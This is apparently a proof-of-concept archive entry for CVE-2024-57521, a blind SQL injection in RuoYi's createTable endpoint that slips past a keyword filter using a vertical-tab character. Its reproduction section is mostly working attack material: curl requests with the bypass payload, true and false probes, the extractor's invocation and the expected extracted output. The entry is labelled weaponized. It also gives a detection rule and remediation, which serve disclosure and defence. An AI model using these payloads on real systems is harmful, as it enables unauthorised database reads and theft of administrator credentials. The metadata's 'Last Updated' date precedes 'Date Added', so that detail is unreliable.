RuoYi createTable Blind SQL Injection - CVE-2024-57521
Published: 2026-11-27 • Researcher: mrlihd (repo author and vulnerability reporter)
- Severity
- Critical
- CVE
- CVE-2024-57521 (bypass of CVE-2024-42900)
- Category
- web
- Affected product
- RuoYi Framework (ruoyi-admin code generation module)
- Affected versions
- 4.7.9 and earlier; fixed in 4.8.0. The injection also bypasses the CVE-2024-42900 filter introduced in the 4.7.x line.
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2025-12-23 |
| Author / Researcher | mrlihd (repo author and vulnerability reporter) |
| CVE / Advisory | CVE-2024-57521 (bypass of CVE-2024-42900) |
| Category | web |
| Severity | Critical |
| CVSS Score | 10.0 (CVSSv3.1, per NVD record) |
| Status | Weaponized |
| Tags | SQL injection, RuoYi, MySQL, boolean-based blind, blacklist bypass, CWE-89, Java, authenticated administrator, data exfiltration |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | RuoYi Framework (ruoyi-admin code generation module) |
| Versions Affected | 4.7.9 and earlier; fixed in 4.8.0. The injection also bypasses the CVE-2024-42900 filter introduced in the 4.7.x line. |
| Language / Platform | Java (Spring MVC), MySQL/MariaDB backend |
| Authentication Required | Yes (an authenticated administrator session; the endpoint is behind the admin console) |
| Network Access Required | Yes (HTTP POST to the code generation endpoint) |
Summary
RuoYi 4.7.9 filters user input for the createTable code generation feature with a keyword blacklist instead of parameterised SQL. The blacklist entry for select is written with a trailing space, so replacing the space with a vertical tab character leaves a valid SQL statement that the filter never sees. Because the statement is executed as a CREATE TABLE AS SELECT, a boolean condition in the SELECT determines whether the table is created, which the bundled Python script turns into a reliable blind extraction primitive. The script recovers the database version one character at a time by observing whether the endpoint answers with a success message.
Vulnerability Details
Root Cause
The code generation module passes the raw sql request parameter into a statement that is executed as DDL. Protection is delegated entirely to SqlUtil.filterKeyword, which splits a pipe-delimited string of blocked keywords and rejects a request when any of them occurs as a substring. Two weaknesses combine: the list is a blacklist that cannot anticipate every SQL separator, and the select entry includes a trailing space, so only select followed by a space is matched. The vertical tab character (0x0B, URL-encoded as %0b) is treated as whitespace by the MySQL parser but is not a space for the purpose of the substring check, so select%0b passes the filter and the database executes the query normally. The ternary division by zero adds a second signal layer: a true condition lets the CREATE TABLE succeed, a false condition raises a division error that the application reports as a failure.
Attack Vector
An authenticated administrator sends a POST request to /tool/gen/createTable with a sql form field containing CREATE table
Impact
Full read access to the application database through the code generation connection, including the sys_user table with administrator password hashes, sys_config, and any business data. Because the target account is an administrator, the practical gain is exfiltration of credentials that are frequently reused on the operating system or on other systems, and the injected DDL also lets the attacker create tables of their choosing. The NVD score of 10.0 reflects the confidentiality and integrity impact combined with the low attack complexity once a session exists.
Environment / Lab Setup
OS: Linux host for attacker, any OS for the target
Target: RuoYi 4.7.9 deployed with MySQL (or the official demo/VM), admin console reachable
Attacker: Python 3 with requests
Tools: Burp Suite (optional but assumed by the script defaults), curl, the bundled ruoyi-sqli-poc.pySetup Steps
| |
Proof of Concept
Step-by-Step Reproduction
Obtain an admin session - Log in to the RuoYi admin console and copy the JSESSIONID cookie value.
Confirm the endpoint - Send a benign request to the code generation endpoint to see the success message the script keys on.
Shell script1 2curl -i -b "JSESSIONID=<value>" -d "sql=CREATE%20table%20tmp_probe%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0" \ http://TARGET/tool/gen/createTableRun the extractor - The script first finds the length of @@version, then recovers each character in parallel.
Shell script1python3 ruoyi-sqli-poc.py -u http://TARGET -c <JSESSIONID>Verify a false condition fails - Replacing 1 with 1/0 in the same statement makes the endpoint report an error, which is the difference the extractor relies on.
Shell script1 2curl -i -b "JSESSIONID=<value>" -d "sql=CREATE%20table%20tmp_false%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(1%3d0%2c1%2c1%2f0)" \ http://TARGET/tool/gen/createTable
Exploit Code
See
ruoyi-sqli-poc.pyin this folder.
| |
Each request uses a fresh random table name because the CREATE TABLE statement fails permanently once a table with the same name exists, and the script only inspects the success message returned by the endpoint.
Expected Output
Data has 6 characters
Found character 8 at location 1
Found character . at location 2
Found character 0 at location 3
Found character . at location 4
Found character 3 at location 5
Found character 6 at location 6
Data: 8.0.36The exact version string depends on the target server; the structure of the output is a length line, one line per recovered character, and the assembled value.
Detection & Indicators of Compromise
POST /tool/gen/createTable HTTP/1.1SIEM / IDS Rule (example):
alert http any any -> any any (msg:"RuoYi createTable SQL injection CVE-2024-57521"; flow:to_server,established; content:"/tool/gen/createTable"; http_uri; content:"sql="; http_client_body; content:"%0b"; http_client_body; content:"IF("; http_client_body; reference:cve,2024-57521; sid:9005752;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade RuoYi to 4.8.0 or later, which reworks the filtering for the code generation module. |
| Workaround | Remove the vertical tab and other control whitespace characters before the keyword check, match select without the trailing space, and reject statements that are not single CREATE statements. |
| Config Hardening | Stop concatenating request data into SQL; parse and validate generated table metadata against an allowlist, run the code generation connection with the least privilege needed, and alert on new tables in the application schema. |
References
Notes
Auto-prepared on 2026-11-27 from https://github.com/mrlihd/CVE-2024-57521-SQL-Injection-PoC (stars 0, Python extraction script plus a detailed README).
Review verdict: ingested. The script is a real exploit rather than a scanner: it builds the bypass payload with the vertical tab separator, posts it to the vulnerable endpoint with the supplied session cookie, discriminates success by the endpoint response, and reconstructs the database version through a thread pool. The README supplies the root cause, the exact true and false requests, and screenshots of successful extraction. Nothing in the repository is a detector, a placeholder, or malware. Because the tool performs a complete extraction workflow, the entry is labelled Weaponized.
License: the upstream repository has no LICENSE file and no explicit license statement; copyright remains with the author. Attribution and the source URL are retained, and the copied script carries an archive header.
Limitations: an administrator session is required, so this is post-authentication. The proxy dictionary is hardcoded with PROXY_ENABLED set to True and points at a local Burp instance, so it must be edited before running outside a proxied lab. The thread pool uses twenty workers and a global counter for table names, so concurrent requests can in principle race on the counter; a collision only wastes a request because the random prefix differs per run. The extractor only recovers @@version as written, and extending it to other queries means changing the get_payload function. No exploit code was executed while preparing this entry.
| |